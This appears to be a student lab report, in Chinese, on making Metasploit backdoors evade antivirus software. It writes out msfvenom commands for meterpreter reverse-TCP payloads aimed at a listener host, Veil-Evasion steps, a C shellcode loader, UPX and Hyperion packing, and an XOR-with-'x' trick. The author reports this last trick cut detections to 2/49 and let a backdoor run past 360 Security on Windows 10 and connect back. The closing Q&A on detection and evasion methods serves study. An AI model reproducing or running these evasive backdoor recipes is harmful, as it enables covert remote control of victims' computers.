一、实验过程
1.编码器
(1)使用msf编码器,直接生成meterpreter可执行文件(跟Exp2中生成backdoor.exe的过程一样,生成后门文件),送到Virscan、VirusTotal网站上检测(注:VirusTotal网站实在太慢,后续均使用Virscan网站检测)
很明显,直接挂掉,毕竟直接由著名的msf生成(深信服没发现???百度那个,习惯就好)
(2)Msfvenom使用编码器
查询一下,-e后接所使用编码,-i后接对载荷的编码次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 10 LHOST=192.168.7.7 LPORT=7777 -f exe > encode_backdoor.exe
事实证明,编码并没有作用(or没有多大作用),Anti-Virus厂商也不傻,人家研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了。
2.msfvenom生成如jar文件,扫描结果如下
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.28.181 LPORT=7777 x > 007msf_backdoor.jar
3.使用Veil-Evasion,这是一个免杀平台,与Metasploit有点类似,在Kali软件库中有,但默认没装。免杀效果比较好。
apt-get install veil 进行安装,之后 veil 命令进入veil,输入 y 继续安装,按照要求进行剩余安装(一路默认),安装时间较长
(1)安装完成后,输入 use 1 进入Veil-Evasion
(2) list 看一下可用载荷
(3)这里选用C语言生成payload, use c/meterpreter/rev_tcp.py
(4)设置主机IP、端口号
set LHOST 192.168.28.181set LPORT 7777
(5) generate 生成payload,然后起个名字就OK了
(6)送到VirScan检测,只能说稍微好一些了(注意上图veil_backdoor.exe所在位置)
4.半手工打造恶意软件(C语言调用Shellcode)
(1)生成C语言格式的shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.28.181 LPORT=7777 -f c
(2)利用上面的数组编写一个C程序, gedit 编辑一个文件,复制粘贴数组,并插入如下主函数,保存为 007backdoor.c 格式(注:如果之后生成的可执行文件无法运行,可能是C文件里没加头文件)
int main(){ void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buf, sizeof buf); ((void(*)())exec)();}
(3)生成可执行文件
i686-w64-mingw32-g++ 007shellcode.c -o 007shellcode.exe
(4)放到VirScan上检测一下,比veil又要好些
(5)ncat传到win7上试一下
居然可以成功回连,刚准备高兴,360没有报毒呀。。。那,不如主动扫一下吧(那就这样吧,曲终人散吧。。。)
5.加壳(将可执行程序资源压缩,压缩后的程序可以直接运行)
(1)压缩壳UPX
upx 007shellcode.exe -o 007_upx_shellcode.exe
是认真的吗?比之前还多一个。。。不如不压缩壳
(2)加密壳Hyperion(在Kali里有hyperion的实现)
cd /usr/share/windows-binaries/hyperion/wine hyperion.exe -v ~/007shellcode.exe 007_hype_backdoor.exe
更多。。。算了,就不放win7上检测了
6.shellcode变形实现恶意代码免杀
参考各种博客,说是可以利用异或或者逆转shellcode数组方法进行免杀(提前编好一段程序将数组逆转或者利用固定16进制数异或,得到的数组放在.cpp文件中【只要在调用该数组前,再逆转回来或者异或回来,就可实现免杀】,编译、链接生成.exe文件)
然而我已经将奇偶异或和逆转放在一起配合使用,还是被360查杀。
直接在数组中添加或减少16进制数(在不同的地方进行了不少次),还是会被检测到。(已经把攻击的shellcode破坏了,还能被认为是木马?)
后来看到FreeBuf上的一篇文章说是异或 'x' ,试了一下,居然可以。。。(为啥异或 0x07 类似形式的16进制数行不通,非要是字符啊,本质应该是一样的呀)
可以回连成功
放到VirScan上检测,2/49,总算降下来了
7.用另一电脑实测,在杀软开启的情况下,可运行并回连成功
修改本机Kali的IP为桥接模式下的IP,msfvenom半手工生成shellcode,与'x'异或后,与主函数一起生成.cpp文件,编译链接成.exe文件,传到另一台电脑上,运行后回连成功
(另一台电脑为win10系统,装有360安全卫士[版本号:11.5.0.2001])
二、基础问题回答
1.杀软是如何检测出恶意代码的?
[1].基于特征:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
[2].基于行为:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
2.免杀是做什么?
它指的是一种能使病毒木马免于被杀毒软件查杀的技术。
3.免杀的基本方法有哪些?
[1].加冷门壳(伪装壳,把一种壳伪装成其他壳,干扰杀毒软件正常的检测)
[2].加壳改壳(将一个木马文件加上upx壳或者其它壳后用lordpe将文件入口点加1,然后将区段字符全部去掉,然后用od打开免杀的木马在入口上下100字符内修改一些代码让杀毒软件查不出来是什么壳就不知道怎么脱就可以实现免杀的目的)
[3].加花指令(通过添加加花指令{一些垃圾指令,类型加1减1之类的无用语句}让杀毒软件检测不到特征码,干扰杀毒软件正常的检测)
[4].改程序入口点
三、实践总结与体会(开启杀软能绝对防止电脑中恶意代码吗?)
本次实验基本上将上次实践内容的“特殊”推广到了“一般”,在杀软开启的情况下,依旧可以成功运行后门,获得权限。
通过不同方法的构造、编码、实验,居然真的能绕过杀毒软件,终于体会到了“杀软不是万能的”这句话的含义,显然,开启杀软根本不可能绝对防止电脑中恶意代码。
安全形势是真的严峻,期待后续实验!